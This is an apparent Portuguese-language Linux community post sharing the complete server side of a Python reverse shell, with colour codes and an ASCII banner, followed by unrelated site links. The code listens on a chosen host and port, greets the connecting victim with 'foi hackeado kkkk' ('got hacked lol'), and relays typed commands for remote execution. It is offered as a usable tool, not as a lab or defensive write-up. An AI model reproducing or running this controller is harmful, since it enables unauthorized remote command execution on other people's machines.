Shell reverso completo - servidor
Publicado por henrique (última atualização em 03/12/2020)
[ Hits: 2.723 ]
Homepage: naotem.com
Provavelmente o último shell reverso que irei publicar, segue o código.
#!/usr/bin/env python3
import socket, os, subprocess, sys, platform
from concurrent.futures import ThreadPoolExecutor
from time import sleep
systema = platform.system()
if systema == 'Linux' or systema == 'Windows':
#args e variaveis
buffer = 4096
centro = 50
red = "\033[1;31m"
blue = "\033[1;34m"
cyan = "\033[1;36m"
green = "\033[0;32m"
reset = "\033[0;0m"
bold = "\033[;1m"
reverse = "\033[;7m"
branco = "\033[37m"
gray = "\033[0;37m"
try:
if sys.argv[1] == '--help':
print(gray + """-l [ipv4]
-p [port]
--help = ajuda
example: ./mrhs.py -l 192.168.0.102 -p 9999""", reset)
sys.exit()
except:
sys.exit()
if sys.argv[1] == '-l':
host = str(sys.argv[2])
if sys.argv[3] == '-p':
port = int(sys.argv[4])
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#servidor
def server():
print(red + '-'*50, reset)
print(branco + '*_*'.center(50), reset)
print('')
print(red + """ ███╗ ███╗██████╗ ██╗ ██╗
████╗ ████║██╔══██╗ ██║ ██║
██╔████╔██║██████╔╝ ███████║
██║╚██╔╝██║██╔══██╗ ██╔══██║
██║ ╚═╝ ██║██║ ██║██╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝""", reset)
print(red + '-'*50, reset)
sleep(1)
try:
s.bind((host, port))
s.listen(40)
print('', green)
print(f'listando:'.center(centro - 30), f'{host}:{port}'.ljust(centro))
client_socket, client_adress = s.accept()
print(f'{client_adress[0]}:{client_adress[1]}'.rjust(centro - 26), 'conectado'.capitalize(), reset)
print('', reset)
print(red + '-'*50, reset)
mensagem = 'foi hackeado kkkk'.encode()
client_socket.send(mensagem)
except:
print('', green)
print('Houve um erro no socket tente mudar a porta'.rjust(centro - 3))
print('', reset)
print(red + '-'*50, reset)
s.close()
sys.exit()
def send_commands():
while True:
cmd = input()
if cmd == 'exit':
print(red + '-'*50, reset)
client_socket.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
client_socket.send(str.encode(cmd))
client_response = str(client_socket.recv(buffer), "utf-8")
print(client_response, end="")
print(green + 'digite os comandos abaixo'.center(centro).title(), reset)
send_commands()
with ThreadPoolExecutor(max_workers=15) as pool:
pool.map(server)
server()
s.close()
Importar múltiplos hosts ZABBIX
Scanner Wifi in Python [very simple and helpful]
HCoin - Preço do Dólar, Bitcoin e Euro em Python
ArpRequest - requisição arp para endereço físico
Shell reverso em Python - cliente e servidor
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Novos apps de produtividade, avanços em IA e distros em ebulição agitam o universo Linux
Como instalar o repositório do DBeaver no Ubuntu
Como instalar o Plex Media Server no Ubuntu
Digitando underscore com "shift" + "barra de espaços"
Como ativar a lixeira e recuperar aquivos deletados em um servidor Linux
Como mudar o nome de dispositivos Bluetooth via linha de comando
dpkg: erro: gatilho de arquivo duplicado chamado pelo arquivo de nome (6)
Instalação não está resolvendo as dependencias (2)
Captação de áudio no zorin linux começa a diminuir com o tempo (5)
Alternativas ao Multilogin para gerenciamento de múltiplas contas/prof... (0)









